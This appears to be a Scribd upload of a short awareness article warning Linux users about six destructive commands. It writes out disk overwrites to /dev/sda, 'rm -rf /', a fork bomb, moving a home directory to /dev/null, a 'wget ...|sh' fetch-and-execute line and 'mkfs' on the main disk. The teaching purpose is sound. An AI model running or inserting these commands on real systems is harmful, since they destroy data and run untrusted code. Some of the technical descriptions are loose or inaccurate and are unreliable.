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Dangerous Commands You Should Never Run On Linux

The document discusses dangerous Linux commands that should never be run, especially on servers. It lists 6 commands that can cause total data loss or system damage: 1) date >/dev/sda, which overwrites the block with random data; 2) rm -rf, which recursively deletes files and directories, requiring caution to avoid accidental deletion; 3) :(){ :|:& };:, which crashes the system; 4) mv dir /dev/null, which deletes a directory by moving it to the null device; 5) wget http://...|sh, which executes a downloaded script with unknown contents; and 6) mkfs -t ext4 /dev/sda, which formats the hard drive, deleting all data.

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iftikhar ahmed
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49 views

Dangerous Commands You Should Never Run On Linux

The document discusses dangerous Linux commands that should never be run, especially on servers. It lists 6 commands that can cause total data loss or system damage: 1) date >/dev/sda, which overwrites the block with random data; 2) rm -rf, which recursively deletes files and directories, requiring caution to avoid accidental deletion; 3) :(){ :|:& };:, which crashes the system; 4) mv dir /dev/null, which deletes a directory by moving it to the null device; 5) wget http://...|sh, which executes a downloaded script with unknown contents; and 6) mkfs -t ext4 /dev/sda, which formats the hard drive, deleting all data.

Uploaded by

iftikhar ahmed
Copyright
© © All Rights Reserved
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
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Dangerous commands you should never run on Linux

Basically Linux and UNIX command Lines are very useful and productive,but


sometimes it might be very dangerous when you are not sure about what you are doing
with the commands.This post is just to create awareness of some of the commands
which you must think twice before you execute them.
1.date >/dev/sda
The above command writes the output of the “command”  on the block /dev/sda. The
above command writes the raw data and all the files on the block will be replaced with
the raw data,thus resulting in total loss of data on the block.
Not only date command ,any command >/dev/sda  resulting in loss of data.You should
never run this command in Servers.
2.rm  -rf  command
This command is to remove the directories and files fastly,but a little typo or ignorance
may result in to unrecoverable system damage,some of the important options we use it
with rm command are,
rm Command is used to delete the files

rm -f Command removes the files without warning

rm -rf / Force deleting everything in / directory

rm -rf *  Force deletion of everything in current working directory

rm -rf Force deletion of current directory and sub directories.


So ,be very careful when executing rm command in servers,To overcome accidental
delete of file by “rm” command create an alias of “rm” command as “rm -i” in
the /root/.bashrc file it will ask you to confirm every deletion
3.:(){:|:&};: command
The above command is actually a dangerous one.It operates by defining a function
called ‘:’,which calls itself  twice,once in the foreground and once in the background ,,it
keeps on executing again and again till the system freezes.
4.mv dir /dev/null
The above command will move  “dir” to /dev/null .In Linux /dev/null  is a special file that
discards all the  data written to it  and reports that write operation succeed
#mv  /home/user   /dev/null
The above command will move all the contents of a user directory to /dev/null, which
means everything there was sent to the black hole (/dev/null)

5.wget http://malicious_source-0-|sh
The above command will download a script from a malicious source and then execute it.
wget command will download the script and sh will execute the script
You should be aware when your are downloading a package from unknown
resources,use the scripts and packages which is downloaded from trusted source.

6.mkfs -t ext4 /dev/sda


The above command will format the block “sda” and you  wouls surely be knowing that
after execution of the above command you block (Harddisk) would be new ,without any
data ,leaving your system in to unrecoverable stage.

WARNING: Don’t execute any of the above command on Linux terminal or your office
server.If you want to test run them in  virtual machine .
Any data loss due to the execution of the above command will break your system down ,the author of the
article /linuxvasanth.com will not be responsible .
 

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